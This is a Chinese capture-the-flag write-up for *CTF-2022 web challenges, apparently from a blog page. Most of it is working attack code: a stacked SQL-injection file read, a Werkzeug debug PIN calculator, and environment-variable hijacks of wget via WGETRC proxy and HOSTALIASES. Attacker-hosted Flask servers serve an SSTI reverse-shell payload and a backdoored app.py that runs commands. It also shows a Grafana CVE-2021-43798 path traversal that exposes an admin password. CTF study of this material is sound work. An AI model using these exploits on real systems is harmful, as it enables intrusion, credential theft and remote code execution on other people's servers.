*CTF-2022 WEB

image-20220423001508724

oh-my-notepro

  • python3.8 pin码计算

发现sql注入,可以堆叠注入
image-20220417091443301
生成要素

username,    通过getpass.getuser()读取,通过文件读取/etc/passwd    
modname,     通过getattr(mod,“file”,None)读取,默认值为flask.app
appname,     通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir,       在flask库下app.py的绝对路径,  通过报错泄露
uuidnode,     当前网络的mac地址的十进制数,   通过文件/sys/class/net/eth0/address读取
machine_id,   由三个合并(docker就后两个):
              1./etc/machine-id 
              2./proc/sys/kernel/random/boot_id 
              3./proc/self/cgroup

通过sql注入读文件,load_file受到secure_file限制,利用 load data local infile 插到表里,再union读取

//设置group_concat长度
;SET SESSION group_concat_max_len = 102400;CREATE TABLE y0ng (code LONGTEXT);load data local infile "/etc/machine-id" into table y0ng FIELDS TERMINATED BY '';%23

'union select 1,2,3,4,(select group_concat(code) from y0ng)%23

python3.8算pin使用sha1加密

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '636256807551824',#  /sys/class/net/eth0/address 16进制转10进制 
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    'e86c4117-eed3-4a37-82bc-b5fa47a88e0b55f9ebbe1473751b9884fb19cbf4299adf5f9bbe231cc0d737df87db308bea0b'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

这道题用 /etc/machine-id + /proc/self/cgroup 算出了pin,wp给出的解释为

Werkzeug的更新给pin码的计算方式带来了变化,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码

image-20220417092549153
python3.6之前

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

oh-my-lotto

分为了两个部分
image-20220420174119330
先看lotto的代码,生成20个40以内的随机数,然后存到 lotto_result.txt
image-20220420174235746
再看app下,/result 返回/app/lotto_result.txt的内容
image-20220420175522832
/forecast 通过上传文件保存内容到/app/guess/forecast.txt
image-20220420175550832
/lotto下是主要的代码

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
    message = ''
    # 环境变量获取flag
    flag = os.environ['flag']
    if request.method == 'GET':
        return render_template('lotto.html')

    elif request.method == 'POST':
        lotto_key = request.form.get('lotto_key') or ''
        lotto_value = request.form.get('lotto_value') or ''
        try:
            # 传入的key 变为大写
            lotto_key = lotto_key.upper()
        except Exception as e:
            print(e)
            message = 'Lotto Error!'
            return render_template('lotto.html', message=message)
        # key 进行安全检查
        if safe_check(lotto_key):
            # 这里可控一个环境变量的键值
            os.environ[lotto_key] = lotto_value
            try:
                # 去获取lotto_result.txt
                os.system('wget --content-disposition -N lotto')

                # 获取lotto的内容
                if os.path.exists("/app/lotto_result.txt"):
                    lotto_result = open("/app/lotto_result.txt", 'rb').read()
                else:
                    lotto_result = 'result'
                # 获取猜测的内容
                if os.path.exists("/app/guess/forecast.txt"):
                    forecast = open("/app/guess/forecast.txt", 'rb').read()
                else:
                    forecast = 'forecast'
                #两者相等 出flag
                if forecast == lotto_result:
                    return flag
                else:
                    message = 'Sorry forecast failed, maybe lucky next time!'
                    return render_template('lotto.html', message=message)
            except Exception as e:
                print("lotto error: ", e)
                message = 'Lotto Error!'
                return render_template('lotto.html', message=message)
                
        else:
            message = 'NO NO NO, JUST LOTTO!'
            return render_template('lotto.html', message=message)

安全检查函数为

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

非预期一

这里就可以围绕 wget 做文章,因为我们可控一个os.environ,整体思路就是控制 PATH

  1. 正常向/lotto post key-value,然后正常wget到 lotto_result.txt
  2. 访问/result 获取到 lotto_result.txt 内容,再将内容上传为forecast.txt
  3. 向/lotto post key-value,使wget失败,这样内容比较相等,获得flag

exp.py

import requests

url = 'http://1.116.110.61:8880/'

requests.post(url+'lotto',data={"lotto_key":"1","lotto_value":"2"})
r = requests.get(url+'result').text.replace(" ","").split("<p>")[-1].split("</p>")[0]
with open('res.txt','w+',newline='') as f:
    f.writelines(r)

requests.post(url+'forecast',files={'file':open('res.txt','rb')})
r = requests.post(url+'lotto',data={"lotto_key":"PATH","lotto_value":"/"})
print(r.text)

这里有个细节,上传的文件需要去除 \r,所以使用python3写入文件的时候使用 newline

image-20220420210834830

非预期二

利用 WGETRC 设置 http_proxy 代理到自己服务器,下载一个和 forecast 一样的文件,可以获得flag。

这个非预期去翻找了wget的文档,这里说如果设置了环境变量 wget 会去加载该文件

image-20220423100615409

然后就找到了wgetrc的一些命令,http_proxy,使用代理,这样可以使用 文件上传+环境变量可控 来使用这个http_proxy

image-20220423100847433
上传forecast.txt

http_proxy=http://1.116.110.61:80

服务器测试一下
image-20220423225306665
服务器上起一个flask,这样就控制了返回内容

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
    lotto = []
    for i in range(1, 20):
        n = str(secrets.randbelow(40))
        lotto.append(n)
    
    r = '\n'.join(lotto)
    r = 'http_proxy=http://1.116.110.61:80'  # 这里是通过代理获得的内容,与上传的内容一样
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)

然后设置环境变量

lotto_key='WGETRC'  lotto_value='/app/guess/forecast.txt'

flask接受:
image-20220423230020185

oh-my-lotto-revenge

非预期一

利用 WGETRC 配合 http_proxyoutput_document,写入SSTI到templates目录,利用SSTI完成RCE

output_document 是控制写入的目录

上传forecast.txt

http_proxy=http://1.116.110.61:80
output_document = templates/index.html

然后设置返回为SSTI的payload即可

还是起一个flask

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
    lotto = []
    for i in range(1, 20):
        n = str(secrets.randbelow(40))
        lotto.append(n)
    
    r = '\n'.join(lotto)
    r = "{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}"
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=80)

设置环境变量

lotto_key='WGETRC'  lotto_value='/app/guess/forecast.txt'

非预期二

利用 WGETRC 配合 http_proxyoutput_document,覆盖本地的wget应用,然后利用wget完成RCE。

预期解

题目开启debug,一些常见的环境变量利用方法都已经被禁止,通过翻阅Linux环境变量文档 http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html

在Network Settings中发现有 HOSTALIASES 可以设置shell的hosts加载文件,利用 /forecast 路由可以上传待加载的hosts文件,将 wget --content-disposition -N lotto 发向lotto的请求转发到自己的域名

例如如下hosts文件

# hosts
lotto mydomain.com

然后返回内容覆盖为app.py

from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)
@app.route("/")
def index():
	# 返回的app.py内容
    r = '''
from flask import Flask,request
import os

app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)
'''

    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=app.py'
    return response

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)

预期wp提到 gunicorn

因为题目使用gunicorn部署,app.py 在改变的情况下并不会实时加载。但gunicorn使用一种 pre-forked worker 的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

exp

import requests
import os
import time
import subprocess

s = requests.session()

base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {
    'http': 'http://127.0.0.1:8080'
}

r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)

url_env = base_url + 'lotto'
data = {
    'lotto_key': 'HOSTALIASES',
    'lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)

subprocess.Popen('./exploit.sh', shell=True)
# os.system('./exploit.sh')
for i in range(1, 53):
    print(i)
    time.sleep(1)

while True:
    url_shell = base_url + 'test?a=env'
    print(url_shell)
    r = s.get(url_shell)
    print(r.text)
    if '*ctf' in r.text:
        print(r.text)
        break

oh-my-grafana

之前的CVE-2021-43798,任意文件读,读到配置文件

/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini

然后就找关键字

# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade


# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = mysql
;host = mysql:3306
;name = grafana
;user = grafana
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password = grafana

登录执行sql语句即可

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用:MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。 它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。 常见的MME类型,例如:   超文本标记语言文本 .html,html text/htm   普通文本 .txt text/plain   RTF文本 .rtf application/rtf   GIF图形 .gif image/gif   JPEG图形 .jpg image/jpeg 上传包含一句话木马的php文件,然后使用burp抓包,修改数据包的content type为image/gif(注意是第二个content type)发送到repeater修改后,点击send,然后放包,即可显示上传php文件成功后的相对路径。使用蚁剑连接该一句话木马即可获得flag。 文件头检查 。 引用: htaccess 查看网页源,可以看到常用的文件后缀都被禁用。根据题目的提示,.hatccess文件【.htaccess是Apache服务器的一个配置文件。它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。】 前提:mod_rewrite模块开启,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All,配置文件中AllowOverride All (如果可能做题过程中结果出现问题,但步骤正确,可以看看前提是否正确) 。 引用:文件头检验 是当浏览器在上传文件到服务器的时候,服务器对所上传文件的Content-Type类型进行检测。如果是白名单允许的,则可以正常上传,否则上传失败。 当我们尝试上传一句话木马的php文件,出现了正确后缀类型的弹窗。使用010editor制作一张图片木马,上传时使用burp抓包把文件后缀改为php,然后点击send。使用蚁剑连接php文件,即可在对应目录下找到flag。 00截断 。 关于ctfhub的全部WP,很抱歉我无法提供相关信息。由于ctfhub是一个综合性的CTF平台,涵盖了大量的题目和解题思路,每个题目的WP都有着不同的内容和解法。如果您对特定的题目或解题方法感兴趣,我可以为您提供更多信息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值